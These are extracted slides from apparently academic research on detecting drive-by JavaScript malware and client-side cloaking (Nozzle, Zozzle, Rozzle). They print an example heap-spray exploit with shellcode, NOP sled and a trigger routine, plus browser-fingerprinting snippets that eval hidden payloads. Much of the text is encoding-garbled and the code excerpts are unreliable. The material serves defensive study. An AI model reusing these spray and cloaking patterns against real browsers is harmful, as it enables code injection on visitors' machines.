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Static ð Dynamic Analysis Spectrum  
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Entirely static Entirely runtime 

+ High coverage 
- Low precision 
- May not scale 

+ High precision 
- High overhead 
- Low coverage 

Symbolic execution 

DART, SAGE 
+ High precision 
+ Scales reasonably well 
? High coverage 

Multi -execution 

+ High precision 
+ High scalability 
+ High coverage 
- Watch out for resource usage 



Blacklisting Malware in Search Results  
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Motivation  
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Haha, I cannot belive this guy actually does this!! LOL 



Drive -by Malware Detection Landscape  
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runtime 

static 

online 
(browser-based) 

offline 
   (honey-monkey) 

 

Nozzle 

ώ¦ǎŜƴƛȄ {ŜŎǳǊƛǘȅ Ωлфϐ 

Zozzle 

ώ¦ǎŜƴƛȄ {ŜŎǳǊƛǘȅ Ωммϐ 

Å Instrumented browser 
Å Looks for heap sprays 
Å Moderately high overhead 

Å Mostly static detection 
Å Low overhead, high reach 
Å Can be deployed in browser 

Å Detection more immediate 
Å No gap between what client 

and server can see 
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Search Engine Crawling  



detect crawler 

Server side 
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Malware Cloaking  

ÅSource IP 

ÅRequest (User-
Agent, Browser ID) 

detect vulnerable 
target 

Client side ÅFingerprint browser 
& plugin versions 

ÅDo this using 
JavaScript 

<script > 

  if (navigator.userAgent.indexOf( ƥ)% ʫƦ)>=0)  

  {  

    var  x=unescape( ƥ˧Õʩʦʩʮ˧Õʦʮʭʧ˧Õʮʣ ǁƛǂƦ);  

    eval(x);  

  }  
</script > 



Client -side Cloaking Defense  

Traditional Rozzle 

ÅSingle browser, one visit  
 

ÅAppear as vulnerable as possible 
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ÅBackground & Motivation: Cloaking 

 

ÅDetecting Internet Malware 

 

ÅRozzle: Fighting Evasion 

 

ÅExperiments 

Overview 



Detecting Internet Malware 
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Dynamic Detection 
 

Nozzle 
 

Static Detection 
 

Zozzle 
 

Nozzle: A Defense Against Heap-spraying Code 
Injection Attacks 
 
[Usenix Security 2009] 
Å Scan heap allocated objects to identify valid x86 code 

sequences 

Zozzle: Low-overhead Mostly Static JavaScript 
Malware Detection 
 
[Usenix Security 2011] 
Å Bayesian classification of hierarchical features of the 

JavaScript abstract syntax tree. In the browser (after 
unpacking) 

 



Nozzle: Runtime Heap Spraying Detection  
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Normalized attack surface (NAS) 

good 

bad 



Object Surface Area Calculation  

Å Each block starts with its own 
size as weight 
 

ÅWeights are propagated 
forward with flow 
 

ÅLƴǾŀƭƛŘ ōƭƻŎƪǎ ŘƻƴΩǘ ǇǊƻǇŀƎŀǘŜ 
 

Å Iterate until a fixpoint is 
reached 
 

Å Compute block with highest 
weight 
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An example object from visiting google.com 
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 // Shellcode 
 var  shellcode=unescape( ƥ˧Õʮʣʮʣ˧Õʮʣʮʣ˧Õʮʣʮʣ˧Õʮʣʮʣ˧ÕÃÅÂÁ˧ÕʦʦÆÁ˧ÕʧʮʦÆ˧ÕÂʦÃʮ˧ÕÄÂʨʨ ǁƛǂ);  
 bigblock=unescape( Ƨ˧Õʣ$ʣ$˧Õʣ$ʣ$ƨ);  
 headersize=20;shellcodesize=headersize+shellcode.length;  
 while (bigblock.length<shellcodesize){bigblock+=bigblock;}  
 heapshell=bigblock.substring(0,shellcodesize);  
 nopsled=bigblock.substring(0,bigblock.length - shellcodesize);  
 while (nopsled.length+shellcodesize<0 2ˬ5000){nopsled=nopsled+nopsled+heapshell}  

  

 // Spray 
 var spray= new Array ();  
 for (i=0;i<500;i ++){spray[i]=nopsled+shellcode ;}  

 

 // Trigger 
 function  trigger(){  
   var  ÖÁÒÂÄÙ ˮ ÄÏÃÕÍÅÎÔƚÃÒÅÁÔÅ%ÌÅÍÅÎÔƽƥÂÏÄÙƦƾƘ 
   varbdy.addBehavior ƽƥʢÄÅÆÁÕÌÔʢÕÓÅÒ$ÁÔÁƦƾƘ 
   document.appendChild(varbdy );  
   try  {  
     for  (iter=0; iter<10; iter++) {  
       varbdy.setAttribute ƽƥÓƦƗ×ÉÎÄÏ×ƾƘ 
     }  
   } catch(e ){ }  
   window.status ˩ˮƨƘ 
 }  
 document.getElementById ƽƥÂÕÔÉÄƦƾƚÏÎÃÌÉÃËƽƾƘ 
 
 

 

 
 

 

 
     shellcode unescape  
 bigblock unescape  %u0D0D%u0D0D 
               shellcodesize            shellcode.length  
 
           bigblock.substring   shellcodesize  
 nopsled bigblock.substring   bigblock.length shellcodesize  
       nopsled.length shellcodesize          nopsled nopsled nopsled heapshell  

  

 

 

     spray  
                    spray    nopsled shellcode  

 

 

 

 
 
   varbdy.addBehavior  #default#userData  
   document.appendChild varbdy  
 
 
       varbdy.setAttribute  
 
 
 
 
                          butid  
 
 

Static Detection  
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Naïve Bayes Classification  
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*  P(malicious) 

Feature P(malicious) 

string:0c0c  0.99 

function:shellcode  0.99 

loop:memory  0.87 

Function:ActiveX  0.80 

try:activex  0.41 

if:msie  7 0.33 

function:Array  0.21 

function:unescape  0.45 

loop:+=  0.55 

loop:nop  0.95 

eval (""+O(2369522)+O(19494

94)+O(2288625)+O(648464)+O

(2304124)+O(2080995)+O(202

0710)+O(2164958)+O(2168902

)+O(1986377)+O(2227903)+O(

2005851)+O(2021303)+O(6464

35)+O(1228455)+O(644519)+O

(2346826)+O(2207788)+O(202

3127)+O(2306806)+O(1983560

)+O(1949296)+O(2245968)+O(

2028685)+O(809214)+O(68096

0)+O(747602)+O(2346412)+O(

1060647)+O(1045327)+O(1381

007)+O(1329180)+O(745897)+

O(2341404)+O(1109791)+O(10

64283)+O(1128719)+O(132105

5)+O(748985)+...);  



Environment Fingerprinting Prevents Detection  

Nozzle 

Zozzle 

<script > 

  if (navigator.userAgent.indexOf( ƥ)% ʫƦ)>=0)  

  {  

    var  x=unescape( ƥ˧Õʩʦʩʮ˧Õʦʮʭʧ˧Õʮʣ ǁƛǂƦ);  

    eval(x);  

  }  
</script > 
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<script > 

  var  adobe=new ActiveXObject( ƥ!ÃÒÏ0$&ƚ0$&Ʀ);  

  var  adobeVersion=adobe.GetVariable ( ƥʙÖÅÒÓÉÏÎƦ);  

  if (navigator.userAgent.indexOf( ƥ)% ʫƦ)>=0 &&  

      adobeVersion == ƦʮƚʦƚʨƦ)  

  {  

    var  x=unescape( ƥ˧Õʩʦʩʮ˧Õʦʮʭʧ˧Õʮʣ ǁƛǂƦ);  

    eval(x);  

  }  
</script > 

Is this a practical problem for 
our malware detectors? 

Å In 7.7% of JS files, code gets a 
reference to environment 

Å In 1.2%, code branches on  
such sensitive values 

Å 89.5% of malicious JS branches 
on such values 


